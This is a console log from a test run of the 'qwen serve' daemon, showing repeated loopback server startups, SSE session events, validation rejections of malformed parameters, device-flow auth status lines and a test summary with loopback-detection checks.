2026-09-11T22:59:41.999Z [INFO] [DAEMON] sessionId=subagent.cGFyZW50LTE.YWdlbnQtMQ SSE stream opened
2026-09-11T22:59:42.083Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:42.090Z [INFO] [DAEMON] sessionId=subagent.cGFyZW50LTE.YWdlbnQtMQ durationMs=91 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:42.193Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:33779 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=427777 runQwenServeToListenMs=211
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:42.380Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:42.433Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:42.439Z [INFO] [DAEMON] sessionId=sess-A durationMs=59 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:42.545Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41815 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=428129 runQwenServeToListenMs=218
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:42.773Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:42.831Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:42.840Z [INFO] [DAEMON] sessionId=sess-A durationMs=68 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:42.968Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:42495 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=428554 runQwenServeToListenMs=242
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:43.164Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:43.257Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:43.267Z [INFO] [DAEMON] sessionId=sess-A durationMs=103 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:43.407Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45807 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=428984 runQwenServeToListenMs=232
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:43.591Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:43.651Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:43.658Z [INFO] [DAEMON] sessionId=sess-A durationMs=67 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:43.786Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43323 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=429369 runQwenServeToListenMs=238
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:44.020Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:44.069Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:44.075Z [INFO] [DAEMON] sessionId=sess-A durationMs=55 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:44.704Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:37137 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=430471 runQwenServeToListenMs=923
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: rejected X-Qwen-Event-Epoch not a valid token! (expected [A-Za-z0-9_-]{1,64})
2026-09-11T22:59:45.499Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:45.791Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:45.800Z [INFO] [DAEMON] sessionId=sess-A durationMs=301 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:45.956Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:43649 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=431537 runQwenServeToListenMs=231
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:46.144Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:46.218Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:46.224Z [INFO] [DAEMON] sessionId=sess-A durationMs=80 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:46.373Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36043 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=431955 runQwenServeToListenMs=257
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:46.635Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:46.721Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:46.727Z [INFO] [DAEMON] sessionId=sess-A durationMs=92 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:46.840Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41691 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=432417 runQwenServeToListenMs=217
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:47.022Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:47.080Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:47.086Z [INFO] [DAEMON] sessionId=sess-A durationMs=65 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:47.201Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:40623 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=432774 runQwenServeToListenMs=212
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: rejected ?maxQueued "" (not a decimal integer)
2026-09-11T22:59:47.398Z [WARN] [DAEMON] route=GET /session/sess-A/events sessionId=sess-A durationMs=30 status=400 request completed
2026-09-11T22:59:47.597Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:48.098Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45651 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=433901 runQwenServeToListenMs=643
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: rejected ?maxQueued "abc" (not a decimal integer)
2026-09-11T22:59:48.707Z [WARN] [DAEMON] route=GET /session/sess-A/events sessionId=sess-A durationMs=71 status=400 request completed
2026-09-11T22:59:48.750Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:48.886Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:42821 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=434477 runQwenServeToListenMs=236
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: rejected ?maxQueued "0" (outside [16, 2048])
2026-09-11T22:59:49.107Z [WARN] [DAEMON] route=GET /session/sess-A/events sessionId=sess-A durationMs=20 status=400 request completed
qwen serve: rejected ?maxQueued "15" (outside [16, 2048])
2026-09-11T22:59:49.204Z [WARN] [DAEMON] route=GET /session/sess-A/events sessionId=sess-A durationMs=13 status=400 request completed
qwen serve: rejected ?maxQueued "2049" (outside [16, 2048])
2026-09-11T22:59:49.307Z [WARN] [DAEMON] route=GET /session/sess-A/events sessionId=sess-A durationMs=14 status=400 request completed
qwen serve: rejected ?maxQueued "9999" (outside [16, 2048])
2026-09-11T22:59:49.350Z [WARN] [DAEMON] route=GET /session/sess-A/events sessionId=sess-A durationMs=10 status=400 request completed
2026-09-11T22:59:49.374Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:49.478Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45189 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=435051 runQwenServeToListenMs=190
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:49.663Z [WARN] [DAEMON] route=GET /session/missing/events sessionId=missing durationMs=19 status=404 request completed
2026-09-11T22:59:49.686Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:49.772Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:44297 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=435349 runQwenServeToListenMs=188
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:50.043Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:50.108Z [INFO] [DAEMON] sessionId=sess-A durationMs=66 SSE stream closed
2026-09-11T22:59:50.230Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:50.354Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:44941 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=435942 runQwenServeToListenMs=223
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:50.542Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
qwen serve: bridge iterator error (session sess-A): agent died
2026-09-11T22:59:50.559Z [INFO] [DAEMON] sessionId=sess-A durationMs=17 SSE stream closed
2026-09-11T22:59:50.592Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:50.690Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36019 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=436265 runQwenServeToListenMs=189
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:50.864Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
qwen serve: bridge iterator error (session sess-A): AcpSessionBridge initialize timed out after 5000ms [init_timeout]
2026-09-11T22:59:50.883Z [INFO] [DAEMON] sessionId=sess-A durationMs=19 SSE stream closed
2026-09-11T22:59:50.907Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:43905 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
2026-09-11T22:59:51.268Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:51.273Z [INFO] [DAEMON] sessionId=sess-A durationMs=71 SSE stream closed
qwen serve listening on http://127.0.0.1:36191 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
2026-09-11T22:59:51.625Z [INFO] [DAEMON] daemon stopped
2026-09-11T22:59:51.632Z [INFO] [DAEMON] sessionId=sess-A durationMs=65 SSE stream closed
qwen serve listening on http://127.0.0.1:40521 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
2026-09-11T22:59:52.033Z [INFO] [DAEMON] daemon stopped
qwen serve listening on http://127.0.0.1:36501 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
2026-09-11T22:59:52.360Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:52.498Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36547 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=438081 runQwenServeToListenMs=229
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T22:59:52.694Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:52.704Z [INFO] [DAEMON] sessionId=sess-A durationMs=10 SSE stream closed
2026-09-11T22:59:52.726Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T22:59:52.871Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36389 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=438452 runQwenServeToListenMs=234
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
qwen serve: rejected Last-Event-ID "abc" (not a decimal integer)
2026-09-11T22:59:53.053Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:53.063Z [INFO] [DAEMON] sessionId=sess-A durationMs=10 SSE stream closed
qwen serve: rejected Last-Event-ID "-1" (not a decimal integer)
2026-09-11T22:59:53.108Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:53.116Z [INFO] [DAEMON] sessionId=sess-A durationMs=8 SSE stream closed
qwen serve: rejected Last-Event-ID "1.5e10z" (not a decimal integer)
2026-09-11T22:59:53.152Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T22:59:53.160Z [INFO] [DAEMON] sessionId=sess-A durationMs=8 SSE stream closed
2026-09-11T22:59:53.186Z [INFO] [DAEMON] daemon stopped
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: fs audit emit is the default no-op — 1 event(s) dropped so far. Latest type=fs.access (intent=list pathHash=ee776a2b20e1d8db). Inject deps.fsFactory in createServeApp to wire audit into the EventBus.
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: fs audit emit is the default no-op — 1 event(s) dropped so far. Latest type=fs.denied (errorKind=untrusted_workspace intent=write pathHash=a1b4ed16befa0c8e). Inject deps.fsFactory in createServeApp to wire audit into the EventBus.
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=5204fdaf... clientId=- status=started expiresInMs=599989
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=3c356c0c... clientId=- status=started expiresInMs=599992
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=07998e5e... clientId=- status=started expiresInMs=599998
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=3402e645... clientId=sdk-A status=started expiresInMs=600000
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=3402e645... clientId=sdk-B status=started hint="take-over (per-provider singleton; original initiator=sdk-A)"
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=e9ae5261... clientId=- status=started expiresInMs=600000
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=c252276a... clientId=- status=started expiresInMs=600000
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=de9d37cb... clientId=- status=started expiresInMs=599997
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=de9d37cb... clientId=- status=cancelled
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=9774cc38... clientId=- status=started expiresInMs=600000
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=4aefe682... clientId=sdk-A status=started expiresInMs=599999
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=e9a4c3c0... clientId=- status=started expiresInMs=600000
[serve] auth.device-flow: provider=qwen-oauth deviceFlowId=211e7a37... clientId=- status=started expiresInMs=599999
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:00:15.812Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:44141 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=461437 runQwenServeToListenMs=423
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:00:16.087Z [INFO] [DAEMON] sessionId=sess-A promptId=f40854e9-76c1-4fe9-93c0-4ed013eda604 prompt enqueued
2026-09-11T23:00:16.097Z [INFO] [DAEMON] route=POST /session/sess-A/prompt sessionId=sess-A durationMs=29 status=202 request completed
2026-09-11T23:00:16.337Z [INFO] [DAEMON] daemon stopped
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: session reaper started (interval 60000ms, idle threshold 1800000ms)
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:00:19.460Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45559 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=465130 runQwenServeToListenMs=453
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:00:19.947Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
qwen serve: evicting SSE client (session sess-A) — writer idle for 250ms > 200ms timeout
2026-09-11T23:00:20.226Z [INFO] [DAEMON] sessionId=sess-A durationMs=280 SSE stream closed
2026-09-11T23:00:20.275Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:00:20.391Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:36889 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=465968 runQwenServeToListenMs=193
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:00:20.579Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T23:00:21.261Z [INFO] [DAEMON] daemon stopped
2026-09-11T23:00:21.275Z [INFO] [DAEMON] sessionId=sess-A durationMs=696 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:00:21.373Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:45909 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=466958 runQwenServeToListenMs=205
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:00:21.563Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T23:00:22.317Z [INFO] [DAEMON] daemon stopped
2026-09-11T23:00:22.324Z [INFO] [DAEMON] sessionId=sess-A durationMs=760 SSE stream closed
qwen serve: daemon log → /tmp/qwen-reload-capabilities-RdHAMe/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:00:22.419Z [INFO] [DAEMON] ideEnvPresent=false primary=/build/qwen-code/src/qwen-code/packages/cli secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:42375 (mode=http-bridge, workspace=/build/qwen-code/src/qwen-code/packages/cli)
qwen serve: bound to workspace "/build/qwen-code/src/qwen-code/packages/cli"
qwen serve: startup timing: processToListenMs=467999 runQwenServeToListenMs=188
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:00:22.605Z [INFO] [DAEMON] sessionId=sess-A SSE stream opened
2026-09-11T23:00:23.043Z [INFO] [DAEMON] daemon stopped
2026-09-11T23:00:23.048Z [INFO] [DAEMON] sessionId=sess-A durationMs=443 SSE stream closed
qwen serve: bridge error (POST /session): Error: legacy-stderr-test-boom
at spawnImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:26004:15)
at Object.spawnOrAttach (/build/qwen-code/src/qwen-code/packages/cli/src/serve/server.test.ts:1734:28)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/routes/session.ts:1685:44
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at passthrough (/build/qwen-code/src/qwen-code/packages/cli/src/serve/auth.ts:413:8)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
at handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:435:11)
❯ src/serve/server.test.ts (850 tests | 2 failed) 336404ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(127.0.0.1) === true 62ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(127.0.0.2) === true 8ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(127.0.1.1) === true 2ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(127.255.255.254) === true 2ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(::1) === true 5ms
✓ detectFromLoopback (#4335 / 3272581557) > detectFromLoopback(::ffff:127.0.0.1) === true 2ms
